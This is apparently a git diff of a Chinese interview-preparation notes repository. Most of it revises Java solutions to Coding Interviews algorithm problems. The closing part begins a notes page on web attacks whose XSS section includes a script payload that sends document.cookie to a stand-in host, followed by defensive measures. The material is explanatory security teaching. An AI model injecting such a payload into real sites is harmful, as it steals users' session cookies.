-    }
-    return ret;
+public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) {
+    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+    int start = 1, end = 2;
+    int curSum = 3;
+    while (end < sum) {
+        if (curSum > sum) {
+            curSum -= start;
+            start++;
+        } else if (curSum < sum) {
+            end++;
+            curSum += end;
+        } else {
+            ArrayList<Integer> list = new ArrayList<>();
+            for (int i = start; i <= end; i++)
+                list.add(i);
+            ret.add(list);
+            curSum -= start;
+            start++;
+            end++;
+            curSum += end;
+        }
+    }
+    return ret;
 }
 ```
 
-# 58.1 翻转单词顺序列
+# 58.1 翻转单词顺序列
 
 [NowCoder](https://www.nowcoder.com/practice/3194a4f4cf814f63919d0790578d51f3?tpId=13&tqId=11197&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 Input:
-"I am a student."
+"I am a student."
 
 Output:
-"student. a am I"
+"student. a am I"
 ```
 
-## 解题思路
+## 解题思路
 
-题目应该有一个隐含条件，就是不能用额外的空间。虽然 Java 的题目输入参数为 String 类型，需要先创建一个字符数组使得空间复杂度为 O(N)，但是正确的参数类型应该和原书一样，为字符数组，并且只能使用该字符数组的空间。任何使用了额外空间的解法在面试时都会大打折扣，包括递归解法。
+题目应该有一个隐含条件，就是不能用额外的空间。虽然 Java 的题目输入参数为 String 类型，需要先创建一个字符数组使得空间复杂度为 O(N)，但是正确的参数类型应该和原书一样，为字符数组，并且只能使用该字符数组的空间。任何使用了额外空间的解法在面试时都会大打折扣，包括递归解法。
 
 正确的解法应该是和书上一样，先旋转每个单词，再旋转整个字符串。
 
 ```java
-public String ReverseSentence(String str) {
-    int n = str.length();
-    char[] chars = str.toCharArray();
-    int i = 0, j = 0;
-    while (j <= n) {
-        if (j == n || chars[j] == ' ') {
-            reverse(chars, i, j - 1);
-            i = j + 1;
-        }
-        j++;
-    }
-    reverse(chars, 0, n - 1);
-    return new String(chars);
+public String ReverseSentence(String str) {
+    int n = str.length();
+    char[] chars = str.toCharArray();
+    int i = 0, j = 0;
+    while (j <= n) {
+        if (j == n || chars[j] == ' ') {
+            reverse(chars, i, j - 1);
+            i = j + 1;
+        }
+        j++;
+    }
+    reverse(chars, 0, n - 1);
+    return new String(chars);
 }
 
-private void reverse(char[] c, int i, int j) {
-    while (i < j)
-        swap(c, i++, j--);
+private void reverse(char[] c, int i, int j) {
+    while (i < j)
+        swap(c, i++, j--);
 }
 
-private void swap(char[] c, int i, int j) {
-    char t = c[i];
-    c[i] = c[j];
-    c[j] = t;
+private void swap(char[] c, int i, int j) {
+    char t = c[i];
+    c[i] = c[j];
+    c[j] = t;
 }
 ```
 
-# 58.2 左旋转字符串
+# 58.2 左旋转字符串
 
 [NowCoder](https://www.nowcoder.com/practice/12d959b108cb42b1ab72cef4d36af5ec?tpId=13&tqId=11196&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 Input:
@@ -2584,290 +2669,290 @@ Output:
 "XYZdefabc"
 ```
 
-## 解题思路
+## 解题思路
 
-先将 "abc" 和 "XYZdef" 分别翻转，得到 "cbafedZYX"，然后再把整个字符串翻转得到 "XYZdefabc"。
+先将 "abc" 和 "XYZdef" 分别翻转，得到 "cbafedZYX"，然后再把整个字符串翻转得到 "XYZdefabc"。
 
 ```java
-public String LeftRotateString(String str, int n) {
-    if (n >= str.length())
-        return str;
-    char[] chars = str.toCharArray();
-    reverse(chars, 0, n - 1);
-    reverse(chars, n, chars.length - 1);
-    reverse(chars, 0, chars.length - 1);
-    return new String(chars);
+public String LeftRotateString(String str, int n) {
+    if (n >= str.length())
+        return str;
+    char[] chars = str.toCharArray();
+    reverse(chars, 0, n - 1);
+    reverse(chars, n, chars.length - 1);
+    reverse(chars, 0, chars.length - 1);
+    return new String(chars);
 }
 
-private void reverse(char[] chars, int i, int j) {
-    while (i < j)
-        swap(chars, i++, j--);
+private void reverse(char[] chars, int i, int j) {
+    while (i < j)
+        swap(chars, i++, j--);
 }
 
-private void swap(char[] chars, int i, int j) {
-    char t = chars[i];
-    chars[i] = chars[j];
-    chars[j] = t;
+private void swap(char[] chars, int i, int j) {
+    char t = chars[i];
+    chars[i] = chars[j];
+    chars[j] = t;
 }
 ```
 
-# 59. 滑动窗口的最大值
+# 59. 滑动窗口的最大值
 
 [NowCoder](https://www.nowcoder.com/practice/1624bc35a45c42c0bc17d17fa0cba788?tpId=13&tqId=11217&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 给定一个数组和滑动窗口的大小，找出所有滑动窗口里数值的最大值。
 
-例如，如果输入数组 {2, 3, 4, 2, 6, 2, 5, 1} 及滑动窗口的大小 3，那么一共存在 6 个滑动窗口，他们的最大值分别为 {4, 4, 6, 6, 6, 5}。
+例如，如果输入数组 {2, 3, 4, 2, 6, 2, 5, 1} 及滑动窗口的大小 3，那么一共存在 6 个滑动窗口，他们的最大值分别为 {4, 4, 6, 6, 6, 5}。
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<Integer> maxInWindows(int[] num, int size) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    if (size > num.length || size < 1)
-        return ret;
-    PriorityQueue<Integer> heap = new PriorityQueue<>((o1, o2) -> o2 - o1);  /* 大顶堆 */
-    for (int i = 0; i < size; i++)
-        heap.add(num[i]);
-    ret.add(heap.peek());
-    for (int i = 0, j = i + size; j < num.length; i++, j++) {            /* 维护一个大小为 size 的大顶堆 */
-        heap.remove(num[i]);
-        heap.add(num[j]);
-        ret.add(heap.peek());
-    }
-    return ret;
+public ArrayList<Integer> maxInWindows(int[] num, int size) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    if (size > num.length || size < 1)
+        return ret;
+    PriorityQueue<Integer> heap = new PriorityQueue<>((o1, o2) -> o2 - o1);  /* 大顶堆 */
+    for (int i = 0; i < size; i++)
+        heap.add(num[i]);
+    ret.add(heap.peek());
+    for (int i = 0, j = i + size; j < num.length; i++, j++) {            /* 维护一个大小为 size 的大顶堆 */
+        heap.remove(num[i]);
+        heap.add(num[j]);
+        ret.add(heap.peek());
+    }
+    return ret;
 }
 ```
 
-# 60. n 个骰子的点数
+# 60. n 个骰子的点数
 
 [Lintcode](https://www.lintcode.com/en/problem/dices-sum/)
 
-## 题目描述
+## 题目描述
 
-把 n 个骰子仍在地上，求点数和为 s 的概率。
+把 n 个骰子仍在地上，求点数和为 s 的概率。
 
-## 解题思路
+## 解题思路
 
-### 动态规划解法
+### 动态规划解法
 
-使用一个二维数组 dp 存储点数出现的次数，其中 dp[i][j] 表示前 i 个骰子产生点数 j 的次数。
+使用一个二维数组 dp 存储点数出现的次数，其中 dp[i][j] 表示前 i 个骰子产生点数 j 的次数。
 
 空间复杂度：O(N<sup>2</sup>)
 
 ```java
-public List<Map.Entry<Integer, Double>> dicesSum(int n) {
-    final int face = 6;
-    final int pointNum = face * n;
-    long[][] dp = new long[n + 1][pointNum + 1];
+public List<Map.Entry<Integer, Double>> dicesSum(int n) {
+    final int face = 6;
+    final int pointNum = face * n;
+    long[][] dp = new long[n + 1][pointNum + 1];
 
-    for (int i = 1; i <= face; i++)
-        dp[1][i] = 1;
+    for (int i = 1; i <= face; i++)
+        dp[1][i] = 1;
 
-    for (int i = 2; i <= n; i++)
-        for (int j = i; j <= pointNum; j++)     /* 使用 i 个骰子最小点数为 i */
-            for (int k = 1; k <= face && k <= j; k++)
-                dp[i][j] += dp[i - 1][j - k];
+    for (int i = 2; i <= n; i++)
+        for (int j = i; j <= pointNum; j++)     /* 使用 i 个骰子最小点数为 i */
+            for (int k = 1; k <= face && k <= j; k++)
+                dp[i][j] += dp[i - 1][j - k];
 
-    final double totalNum = Math.pow(6, n);
-    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
-    for (int i = n; i <= pointNum; i++)
-        ret.add(new AbstractMap.SimpleEntry<>(i, dp[n][i] / totalNum));
+    final double totalNum = Math.pow(6, n);
+    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
+    for (int i = n; i <= pointNum; i++)
+        ret.add(new AbstractMap.SimpleEntry<>(i, dp[n][i] / totalNum));
 
-    return ret;
+    return ret;
 }
 ```
 
-### 动态规划解法 + 旋转数组
+### 动态规划解法 + 旋转数组
 
 空间复杂度：O(N)
 
 ```java
-public List<Map.Entry<Integer, Double>> dicesSum(int n) {
-    final int face = 6;
-    final int pointNum = face * n;
-    long[][] dp = new long[2][pointNum + 1];
+public List<Map.Entry<Integer, Double>> dicesSum(int n) {
+    final int face = 6;
+    final int pointNum = face * n;
+    long[][] dp = new long[2][pointNum + 1];
 
-    for (int i = 1; i <= face; i++)
-        dp[0][i] = 1;
+    for (int i = 1; i <= face; i++)
+        dp[0][i] = 1;
 
-    int flag = 1;                                     /* 旋转标记 */
-    for (int i = 2; i <= n; i++, flag = 1 - flag) {
-        for (int j = 0; j <= pointNum; j++)
-            dp[flag][j] = 0;                          /* 旋转数组清零 */
+    int flag = 1;                                     /* 旋转标记 */
+    for (int i = 2; i <= n; i++, flag = 1 - flag) {
+        for (int j = 0; j <= pointNum; j++)
+            dp[flag][j] = 0;                          /* 旋转数组清零 */
 
-        for (int j = i; j <= pointNum; j++)
-            for (int k = 1; k <= face && k <= j; k++)
-                dp[flag][j] += dp[1 - flag][j - k];
-    }
+        for (int j = i; j <= pointNum; j++)
+            for (int k = 1; k <= face && k <= j; k++)
+                dp[flag][j] += dp[1 - flag][j - k];
+    }
 
-    final double totalNum = Math.pow(6, n);
-    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
-    for (int i = n; i <= pointNum; i++)
-        ret.add(new AbstractMap.SimpleEntry<>(i, dp[1 - flag][i] / totalNum));
+    final double totalNum = Math.pow(6, n);
+    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
+    for (int i = n; i <= pointNum; i++)
+        ret.add(new AbstractMap.SimpleEntry<>(i, dp[1 - flag][i] / totalNum));
 
-    return ret;
+    return ret;
 }
 ```
 
-# 61. 扑克牌顺子
+# 61. 扑克牌顺子
 
 [NowCoder](https://www.nowcoder.com/practice/762836f4d43d43ca9deb273b3de8e1f4?tpId=13&tqId=11198&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-五张牌，其中大小鬼为癞子，牌面大小为 0。判断这五张牌是否能组成顺子。
+五张牌，其中大小鬼为癞子，牌面大小为 0。判断这五张牌是否能组成顺子。
 
-## 解题思路
+## 解题思路
 
 ```java
-public boolean isContinuous(int[] nums) {
+public boolean isContinuous(int[] nums) {
 
-    if (nums.length < 5)
-        return false;
+    if (nums.length < 5)
+        return false;
 
-    Arrays.sort(nums);
+    Arrays.sort(nums);
 
-    // 统计癞子数量
-    int cnt = 0;
-    for (int num : nums)
-        if (num == 0)
-            cnt++;
+    // 统计癞子数量
+    int cnt = 0;
+    for (int num : nums)
+        if (num == 0)
+            cnt++;
 
-    // 使用癞子去补全不连续的顺子
-    for (int i = cnt; i < nums.length - 1; i++) {
-        if (nums[i + 1] == nums[i])
-            return false;
-        cnt -= nums[i + 1] - nums[i] - 1;
-    }
+    // 使用癞子去补全不连续的顺子
+    for (int i = cnt; i < nums.length - 1; i++) {
+        if (nums[i + 1] == nums[i])
+            return false;
+        cnt -= nums[i + 1] - nums[i] - 1;
+    }
 
-    return cnt >= 0;
+    return cnt >= 0;
 }
 ```
 
-# 62. 圆圈中最后剩下的数
+# 62. 圆圈中最后剩下的数
 
 [NowCoder](https://www.nowcoder.com/practice/f78a359491e64a50bce2d89cff857eb6?tpId=13&tqId=11199&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-让小朋友们围成一个大圈。然后，随机指定一个数 m，让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌，然后可以在礼品箱中任意的挑选礼物，并且不再回到圈中，从他的下一个小朋友开始，继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友，可以不用表演。
+让小朋友们围成一个大圈。然后，随机指定一个数 m，让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌，然后可以在礼品箱中任意的挑选礼物，并且不再回到圈中，从他的下一个小朋友开始，继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友，可以不用表演。
 
-## 解题思路
+## 解题思路
 
-约瑟夫环，圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈，所以最后需要对 n 取余。
+约瑟夫环，圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈，所以最后需要对 n 取余。
 
 ```java
-public int LastRemaining_Solution(int n, int m) {
-    if (n == 0)     /* 特殊输入的处理 */
-        return -1;
-    if (n == 1)     /* 递归返回条件 */
-        return 0;
-    return (LastRemaining_Solution(n - 1, m) + m) % n;
+public int LastRemaining_Solution(int n, int m) {
+    if (n == 0)     /* 特殊输入的处理 */
+        return -1;
+    if (n == 1)     /* 递归返回条件 */
+        return 0;
+    return (LastRemaining_Solution(n - 1, m) + m) % n;
 }
 ```
 
-# 63. 股票的最大利润
+# 63. 股票的最大利润
 
 [Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)
 
-## 题目描述
+## 题目描述
 
 可以有一次买入和一次卖出，那么买入必须在前。求最大收益。
 
-## 解题思路
+## 解题思路
 
-使用贪心策略，假设第 i 轮进行卖出操作，买入操作价格应该在 i 之前并且价格最低。
+使用贪心策略，假设第 i 轮进行卖出操作，买入操作价格应该在 i 之前并且价格最低。
 
 ```java
-public int maxProfit(int[] prices) {
-    if (prices == null || prices.length == 0)
-        return 0;
-    int soFarMin = prices[0];
-    int maxProfit = 0;
-    for (int i = 1; i < prices.length; i++) {
-        soFarMin = Math.min(soFarMin, prices[i]);
-        maxProfit = Math.max(maxProfit, prices[i] - soFarMin);
-    }
-    return maxProfit;
+public int maxProfit(int[] prices) {
+    if (prices == null || prices.length == 0)
+        return 0;
+    int soFarMin = prices[0];
+    int maxProfit = 0;
+    for (int i = 1; i < prices.length; i++) {
+        soFarMin = Math.min(soFarMin, prices[i]);
+        maxProfit = Math.max(maxProfit, prices[i] - soFarMin);
+    }
+    return maxProfit;
 }
 ```
 
-# 64. 求 1+2+3+...+n
+# 64. 求 1+2+3+...+n
 
 [NowCoder](https://www.nowcoder.com/practice/7a0da8fc483247ff8800059e12d7caf1?tpId=13&tqId=11200&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-要求不能使用乘除法、for、while、if、else、switch、case 等关键字及条件判断语句 A ? B : C。
+要求不能使用乘除法、for、while、if、else、switch、case 等关键字及条件判断语句 A ? B : C。
 
-## 解题思路
+## 解题思路
 
-使用递归解法最重要的是指定返回条件，但是本题无法直接使用 if 语句来指定返回条件。
+使用递归解法最重要的是指定返回条件，但是本题无法直接使用 if 语句来指定返回条件。
 
-条件与 && 具有短路原则，即在第一个条件语句为 false 的情况下不会去执行第二个条件语句。利用这一特性，将递归的返回条件取非然后作为 && 的第一个条件语句，递归的主体转换为第二个条件语句，那么当递归的返回条件为 true 的情况下就不会执行递归的主体部分，递归返回。
+条件与 && 具有短路原则，即在第一个条件语句为 false 的情况下不会去执行第二个条件语句。利用这一特性，将递归的返回条件取非然后作为 && 的第一个条件语句，递归的主体转换为第二个条件语句，那么当递归的返回条件为 true 的情况下就不会执行递归的主体部分，递归返回。
 
-本题的递归返回条件为 n <= 0，取非后就是 n > 0；递归的主体部分为 sum += Sum_Solution(n - 1)，转换为条件语句后就是 (sum += Sum_Solution(n - 1)) > 0。
+本题的递归返回条件为 n <= 0，取非后就是 n > 0；递归的主体部分为 sum += Sum_Solution(n - 1)，转换为条件语句后就是 (sum += Sum_Solution(n - 1)) > 0。
 
 ```java
-public int Sum_Solution(int n) {
-    int sum = n;
-    boolean b = (n > 0) && ((sum += Sum_Solution(n - 1)) > 0);
-    return sum;
+public int Sum_Solution(int n) {
+    int sum = n;
+    boolean b = (n > 0) && ((sum += Sum_Solution(n - 1)) > 0);
+    return sum;
 }
 ```
 
-# 65. 不用加减乘除做加法
+# 65. 不用加减乘除做加法
 
 [NowCoder](https://www.nowcoder.com/practice/59ac416b4b944300b617d4f7f111b215?tpId=13&tqId=11201&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-写一个函数，求两个整数之和，要求不得使用 +、-、\*、/ 四则运算符号。
+写一个函数，求两个整数之和，要求不得使用 +、-、\*、/ 四则运算符号。
 
-## 解题思路
+## 解题思路
 
-a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
+a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
 
-递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
+递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
 
 ```java
-public int Add(int a, int b) {
-    return b == 0 ? a : Add(a ^ b, (a & b) << 1);
+public int Add(int a, int b) {
+    return b == 0 ? a : Add(a ^ b, (a & b) << 1);
 }
 ```
 
-# 66. 构建乘积数组
+# 66. 构建乘积数组
 
 [NowCoder](https://www.nowcoder.com/practice/94a4d381a68b47b7a8bed86f2975db46?tpId=13&tqId=11204&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-给定一个数组 A[0, 1,..., n-1]，请构建一个数组 B[0, 1,..., n-1]，其中 B 中的元素 B[i]=A[0]\*A[1]\*...\*A[i-1]\*A[i+1]\*...\*A[n-1]。要求不能使用除法。
+给定一个数组 A[0, 1,..., n-1]，请构建一个数组 B[0, 1,..., n-1]，其中 B 中的元素 B[i]=A[0]\*A[1]\*...\*A[i-1]\*A[i+1]\*...\*A[n-1]。要求不能使用除法。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int[] multiply(int[] A) {
-    int n = A.length;
-    int[] B = new int[n];
-    for (int i = 0, product = 1; i < n; product *= A[i], i++)       /* 从左往右累乘 */
-        B[i] = product;
-    for (int i = n - 1, product = 1; i >= 0; product *= A[i], i--)  /* 从右往左累乘 */
-        B[i] *= product;
-    return B;
+public int[] multiply(int[] A) {
+    int n = A.length;
+    int[] B = new int[n];
+    for (int i = 0, product = 1; i < n; product *= A[i], i++)       /* 从左往右累乘 */
+        B[i] = product;
+    for (int i = n - 1, product = 1; i >= 0; product *= A[i], i--)  /* 从右往左累乘 */
+        B[i] *= product;
+    return B;
 }
 ```
 
-# 67. 把字符串转换成整数
+# 67. 把字符串转换成整数
 
 [NowCoder](https://www.nowcoder.com/practice/1277c681251b4372bdef344468e4f26e?tpId=13&tqId=11202&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-将一个字符串转换成一个整数，字符串不是一个合法的数值则返回 0，要求不能使用字符串转换整数的库函数。
+将一个字符串转换成一个整数，字符串不是一个合法的数值则返回 0，要求不能使用字符串转换整数的库函数。
 
 ```html
 Iuput:
@@ -2879,102 +2964,68 @@ Output:
 0
 ```
 
-## 解题思路
+## 解题思路
 
 ```java
-public int StrToInt(String str) {
-    if (str == null || str.length() == 0)
-        return 0;
-    boolean isNegative = str.charAt(0) == '-';
-    int ret = 0;
-    for (int i = 0; i < str.length(); i++) {
-        char c = str.charAt(i);
-        if (i == 0 && (c == '+' || c == '-'))  /* 符号判定 */
-            continue;
-        if (c < '0' || c > '9')                /* 非法输入 */
-            return 0;
-        ret = ret * 10 + (c - '0');
-    }
-    return isNegative ? -ret : ret;
+public int StrToInt(String str) {
+    if (str == null || str.length() == 0)
+        return 0;
+    boolean isNegative = str.charAt(0) == '-';
+    int ret = 0;
+    for (int i = 0; i < str.length(); i++) {
+        char c = str.charAt(i);
+        if (i == 0 && (c == '+' || c == '-'))  /* 符号判定 */
+            continue;
+        if (c < '0' || c > '9')                /* 非法输入 */
+            return 0;
+        ret = ret * 10 + (c - '0');
+    }
+    return isNegative ? -ret : ret;
 }
 ```
 
-# 68. 树中两个节点的最低公共祖先
+# 68. 树中两个节点的最低公共祖先
 
-## 解题思路
+## 解题思路
 
-### 二叉查找树
+### 二叉查找树
 
-<img src="index_files/293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/>
+<div align="center"> <img src="pics/293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/> </div><br>
 
-[Leetcode : 235. Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
+[Leetcode : 235. Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
 
-二叉查找树中，两个节点 p, q 的公共祖先 root 满足 root.val >= p.val && root.val <= q.val。
+二叉查找树中，两个节点 p, q 的公共祖先 root 满足 root.val >= p.val && root.val <= q.val。
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root == null)
-        return root;
-    if (root.val > p.val && root.val > q.val)
-        return lowestCommonAncestor(root.left, p, q);
-    if (root.val < p.val && root.val < q.val)
-        return lowestCommonAncestor(root.right, p, q);
-    return root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root == null)
+        return root;
+    if (root.val > p.val && root.val > q.val)
+        return lowestCommonAncestor(root.left, p, q);
+    if (root.val < p.val && root.val < q.val)
+        return lowestCommonAncestor(root.right, p, q);
+    return root;
 }
 ```
 
-### 普通二叉树
+### 普通二叉树
 
-<img src="index_files/37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/>
+<div align="center"> <img src="pics/37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/> </div><br>
 
-[Leetcode : 236. Lowest Common Ancestor of a Binary Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
+[Leetcode : 236. Lowest Common Ancestor of a Binary Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
 
-在左右子树中查找是否存在 p 或者 q，如果 p 和 q 分别在两个子树中，那么就说明根节点就是最低公共祖先。
+在左右子树中查找是否存在 p 或者 q，如果 p 和 q 分别在两个子树中，那么就说明根节点就是最低公共祖先。
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root == null || root == p || root == q)
-        return root;
-    TreeNode left = lowestCommonAncestor(root.left, p, q);
-    TreeNode right = lowestCommonAncestor(root.right, p, q);
-    return left == null ? right : right == null ? left : root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root == null || root == p || root == q)
+        return root;
+    TreeNode left = lowestCommonAncestor(root.left, p, q);
+    TreeNode right = lowestCommonAncestor(root.right, p, q);
+    return left == null ? right : right == null ? left : root;
 }
 ```
 
-# 参考文献
+# 参考文献
 
-- 何海涛. 剑指 Offer[M]. 电子工业出版社, 2012.
----bottom---CyC---
-![](index_files/gh_a68199af85d6_258_20_282_29.jpg)
-![](index_files/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif)
-![](index_files/f94389e9-55b1-4f49-9d37-00ed05900ae0.png)
-![](index_files/d99dc9e2-197c-4085-813d-7195da1c6762.png)
-![](index_files/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png)
-![](index_files/cb0ed469-27ab-471b-a830-648b279103c8.png)
-![](index_files/e143f6da-d114-4ba4-8712-f65299047fa2.png)
-![](index_files/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png)
-![](index_files/faecea49-9974-40db-9821-c8636137df61.jpg)
-![](index_files/e31abb94-9201-4e06-9902-61101b92f475.png)
-![](index_files/27ff9548-edb6-4465-92c8-7e6386e0b185.png)
-![](index_files/280f7728-594f-4811-a03a-fa8d32c013da.png)
-![](index_files/8433fbb2-c35c-45ef-831d-e3ca42aebd51.png)
-![](index_files/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png)
-![](index_files/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png)
-![](index_files/43f2cafa-3568-4a89-a895-4725666b94a6.png)
-![](index_files/4583e24f-424b-4d50-8a14-2c38a1827d4a.png)
-![](index_files/a2d13178-f1ef-4811-a240-1fe95b55b1eb.png)
-![](index_files/f42443e0-208d-41ea-be44-c7fd97d2e3bf.png)
-![](index_files/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png)
-![](index_files/348bc2db-582e-4aca-9f88-38c40e9a0e69.png)
-![](index_files/836a4eaf-4798-4e48-b52a-a3dab9435ace.png)
-![](index_files/f5477abd-c246-4851-89ab-6b1cde2549b1.png)
-![](index_files/a01d1516-8168-461a-a24b-620b9cfc40f4.png)
-![](index_files/2e6c72f5-3b8e-4e32-b87b-9491322628fe.png)
-![](index_files/323ffd6c-8b54-4f3e-b361-555a6c8bf218.png)
-![](index_files/8f3b9519-d705-48fe-87ad-2e4052fc81d2.png)
-![](index_files/79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png)
-![](index_files/8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png)
-![](index_files/b29f8971-9cb8-480d-b986-0e60c2ece069.png)
-![](index_files/e026c24d-00fa-4e7c-97a8-95a98cdc383a.png)
-![](index_files/293d2af9-de1d-403e-bed0-85d029383528.png)
-![](index_files/37a72755-4890-4b42-9eab-b0084e0c54d9.png)
+- 何海涛. 剑指 Offer[M]. 电子工业出版社, 2012.
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index 1c6e2ae3..2fa52c0f 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,92 +1,102 @@
-# 一、跨站脚本攻击
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、跨站脚本攻击](#一跨站脚本攻击)
+* [二、跨站请求伪造](#二跨站请求伪造)
+* [三、SQL 注入攻击](#三sql-注入攻击)
+* [四、拒绝服务攻击](#四拒绝服务攻击)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 概念
 
-跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
+# 一、跨站脚本攻击
 
-## 攻击原理
+## 概念
+
+跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
+
+## 攻击原理
 
 例如有一个论坛网站，攻击者可以在上面发布以下内容：
 
 ```html
-<script>location.href="//domain.com/?c=" + document.cookie</script>
+<script>location.href="//domain.com/?c=" + document.cookie</script>
 ```
 
 之后该内容可能会被渲染成以下形式：
 
 ```html
-<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
+<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
 ```
 
-另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
+另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
 
-## 危害
+## 危害
 
-- 窃取用户的 Cookie
-- 伪造虚假的输入表单骗取个人信息
-- 显示伪造的文章或者图片
+- 窃取用户的 Cookie
+- 伪造虚假的输入表单骗取个人信息
+- 显示伪造的文章或者图片
 
-## 防范手段
+## 防范手段
 
-### 1. 设置 Cookie 为 HttpOnly
+### 1. 设置 Cookie 为 HttpOnly
 
-设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
+设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
 
-### 2. 过滤特殊字符
+### 2. 过滤特殊字符
 
-例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
+例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
 
-富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
+富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
 
-富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
+富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
 
-以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
+以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
 
 ```html
-<h1 id="title">XSS Demo</h1>
+<h1 id="title">XSS Demo</h1>
 
 <p>123</p>
 
 <form>
-  <input type="text" name="q" value="test">
+  <input type="text" name="q" value="test">
 </form>
 
 <pre>hello</pre>
 
-<script type="text/javascript">
+<script type="text/javascript">
 alert(/xss/);
 </script>
 ```
 
 ```html
-<h1>XSS Demo</h1>
+<h1>XSS Demo</h1>
 
